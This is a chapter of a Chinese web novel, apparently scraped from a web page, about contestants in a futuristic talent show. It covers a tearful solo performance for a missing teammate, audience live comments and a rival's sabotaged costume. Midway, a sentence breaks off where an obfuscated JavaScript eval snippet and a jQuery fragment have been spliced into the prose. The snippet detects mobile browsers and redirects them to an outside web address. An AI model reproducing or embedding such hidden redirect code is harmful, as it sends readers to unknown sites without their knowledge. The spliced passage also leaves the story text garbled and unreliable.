21. 未亡人

时顽一直把辉辉当成很小很小的小孩。


但也在这一刻,她才意识到,自己并没有真正认识辉辉。


或者说,她轻视了辉辉——


轻视了一个小女孩的力量,也轻视了一颗心。


她的心变得酸软如一颗梅子,流淌出接近愧疚的情感。


但辉辉只是一无所觉般给了她一个紧紧的拥抱,近到温热的胸膛相贴。


她说:“姐姐,节目组催我回小组那边啦,拜拜拜拜——”


说完,就跑回了原本所在的候场位置,坐下后,还隔着人群跟时顽挥挥小手。


表演结束后,是观众和评委的投票时间,票数和比例将会综合成一个小组的总分。


主持人脸部屏幕上浮出一个意味不清的笑脸^—^:


“第一组,总分——137.5分。”


“观众最喜欢选手——辉辉。”


辉辉惊喜的表情出现在特写大屏上,她眼中闪起晶亮的水光,而后拉住了两边的队友,对着屏幕深深鞠了一躬。


起身时,珠子般的眼泪落下来,她偏过视线,咬住嘴角,笑着用手抹掉。


最真心,不掺杂表演的表情。


时顽爱在舞台上演情绪,因此也最看得出来反应是真是假,或演技掺杂多少。辉辉现在的表现,除非是不世出的演技天才少女影后,不然别想演个差不多。


心中有些感慨,但也没来得及深思。


很快,主持人宣布了下一组的入场。


这一组上场的选手,表演的也是轻松愉快的歌曲,与上一组算是大撞了主题。


走上台时,一个熟悉的身影吸引了时顽的注意,是先前因为打哈欠而被黄阙粉丝骂了的37号。


37号站定时,明显身体紧绷,双手发抖,也许是之前被骂的后遗症尚未平复。


平心而论,37号颜值身材都不错,但在特写镜头给到他时,他只是一个对视,就受惊般匆匆避开了视线。


避开镜头,在舞台上,是大忌。


舞台的目标之一是感染、说服观众,而镜头是当下唯一和观众情感沟通的途径。


选手可以在镜头前表现出负面的特点,比如呆滞、蠢笨、脆弱、甚至自卑,只要情感传递够充分,各花入各眼,总会有观众或代入或喜欢。


但唯独不能做的,就是避开镜头。


失去了唯一沟通的途径,那就什么都不会得到。


37号的舞台表现也明显紧张,或者说整个组都不够放松。


对于一首欢快主题的歌来说,不够放松自然、没有感染力,就是灾难。


更何况珠玉在前。


“第一组,总分——105.7分。”


远低于辉辉所在组的评分。


随后,剩下的几组依次登场。


表演的类型,比时顽想象中多不少。


有的组用音乐剧形式来表演,巧妙规避了舞台念白数量限制。还讲述了一个卡在结局意犹未尽的故事。


算是南歇风初舞台表演思路的眼神,得到的票数还不错。


还有的组表演的纯舞蹈。三位选手一看就是有功底而特意聚在一起,其中一位做了腿部改造,舞步旋转起来简直像陀螺,难度甚至接近马戏。


但到目前为止,辉辉组的评分还排在第一。


而下一组,就到了黄阙——


原本两个人的组,现在只剩了他一个人。


时顽都否认不了,当他一个人低着头走上台来的时候,还挺有孤独氛围感的。


舞台上的人甚至还没有开口,观众席和弹幕就已经为他填充好了尖叫——


【啊啊啊啊啊啊啊黄阙加油】


【这个画面好虐我的眼泪流到f888星系】


【星星在天之灵也会保佑你的】


【去他爹的吧丁晚星是失踪了不是死了,在提前哀悼什么】


舞台上没有多余的布置或装饰,黄阙只是依靠着正中央的树站着。


他站在树的一侧,另一侧就显得空空荡荡起来。缺失了的同伴,让画面极度失衡。


黄阙准备的是一首独唱,或者说,曾经是一首对唱。


伴着配乐,他缓缓开口,声音醇厚,嗓音放松,如一个故事娓娓道来:


“伸手就碰到——”


“那么近,你酒窝在笑。”


“明明眼波像月光,我去捞,怎么全都碎掉……”


唱着,他向树的另一侧伸出手,仿佛那边空荡的位置,曾有人给过他回应。


这时,聚光灯缓缓转了方向,正好照亮他眼中蓄着的泪光。晃动如水波,又不至于落下,像一洞悲伤的湖。


不得不说,黄阙的唱歌是有水平的。声音质感如古木,平和醇厚,自带一种深情。哭腔拿捏得也刚刚好,不显得夸张。


甚至这个未亡人的舞台设置,看似失衡,实则绝妙。


时顽有点理解,他为什么能在两天里,疯狂吸粉到第一了。


“水中明月,镜中百合,不敢触碰,最亲爱的,”


“祈求上天多慈悲,停留你这一刻……”


黄阙依旧看着那空无一人的方向,嘴唇轻微颤抖,竟抬起手,仿佛触摸到那人的脸颊。


哪里的人,梦里的人。


曾经近在咫尺,如今却只有在梦里能相见。


而相见了,又不敢触碰,生怕美梦一瞬破碎,又把自己丢回那失去了你的、灰暗无边的孤独世界。


舞台结束的最后一刻,他脱力般跪倒在地。


特写镜头拉近,一滴泪终于顺着他惨白的颧骨流下。


坠落在地的那一刻,一声琴响,眼泪掷地有声。


灯光暗下,台上只余下一棵树,和一个人的影子。


观众席一片尖叫,弹幕疯了一半——


【我get到了我真的get到了,这be感我哭傻了】


【好浓烈的情感,这是友情吗还是哀悼爱情】


【歌词改得好悲,本来一首甜歌对唱,唉,唉,唉……】


【拜托啊一群白痴,真伤心哪有功夫演成这样,等老了活该被人卖去垃圾星】


弹幕的倾向开始两极化起来,一方被黄阙对队友的怀念情谊感动,另一方则认为黄阙是故意消费失踪的队友。


时顽转过头,在南歇风眼中看到了自己深受震撼的表情,当然,南歇风也一样。


这黄阙,比想象中厉害多了。


不管是唱歌技巧、氛围搭建,还是舞台编排——


都在“死了队友”这个小众赛


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15352318|167530||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


道做到了一等一。


如果不是自己也爱演、前世又看过太多类似卖深情桥段,时顽恐怕都要被骗过去。


南歇风凑近了,碍于摄像头,脸上是悲伤的神情,掩住嘴巴,小声地问:


“这种应该怎么学?”


死队友要怎么学?


时顽打了一个寒战,同样悲伤地吸溜了一下鼻子,仿佛在跟他讨论被感动的心情:


“装深情可以学,涉及队友的部分没必要哈。”


另一边的李执竹则是听了她的吩咐,低着头,仿佛在消化悲伤。


时顽弯腰一看,正对上李执竹长睫下平静如水面的眼。


时顽小声问:“感觉怎么样?”


李执竹平淡道:“人真正悲伤的时候,不是这样的。”


“第一组,总分——143.5分。”


黄阙这组的总分显著得高。


“观众最喜欢选手——黄阙。”


好嘛,这一句,又把粉丝虐到了。


下了台的黄阙,大特写再次出现在屏幕中央。


作为得分镜头的reaction,他抓住胸前的挂坠,闭上眼,轻轻触碰眉心。


弹幕也没人见过那个挂坠。


但问题不大,这一番动作下来,挂坠很快被脑补成了丁晚星留给至交好友的家传贴身信物。


好吧。


而黄阙表演完成后,下一组,则是另一个发生了失踪案的小组。


听到主持人的报幕,姬雪抬眼看向镜头。


金发如天际边缘的流光,眼眸璀璨似价值连城的宝石,原本脱俗的美丽,在妆点后更加耀眼动人。


只是那一双冷冷的眸子,落了雪结了冰,与镜头对视的瞬间,竟带着观众们激昂的情绪,一刹那沉静了下来。


下一秒,她却笑了。


冰雪消融,冬去春来,迎春花绽放。


她站起身,走向台上,一身鹅黄色的裙摆摇晃,恰似微冷春风里一支轻颤的迎春——


那是在资料片里才能看到的珍贵古代花种。


不知道是不是错觉,在姬雪经过她的时候,眼神有一刻看向了她。


姬雪和队友站上了舞台。


失去了贾知谐后,队里只剩她和李蚁。


比起她,李蚁的演出服显得简陋很多,两个人站在舞台上,看起来完全不属于一个团队。


时顽眉毛微微皱起。


这是姬雪的特质,她太特别,太不在乎别人,因此也显得太“独”。


她有点担心——仅仅是从出场来看,这个舞台就已经失去了平衡。


观众们也感受得到——


【这组是不是队内不和啊,站一起也太奇怪了……】


【对啊确实队内不和,光是颜值就不和了,实力更不和哈谢谢】


【姬雪是美的,但队友也太草率了,姬雪就不能贴补队友个稍微能看点的演出服吗】


台上的姬雪却如同没看到般,只是噙着微笑。


在舞台开始后,她扯下了裙摆最外的一层纱。


台下的灯光尚不明显,舞台上强光一打,一切暴露无遗。


观众们这才看见——


那层纱遮掩之下,竟是千疮百孔、显然被人刻意破坏过的裙摆。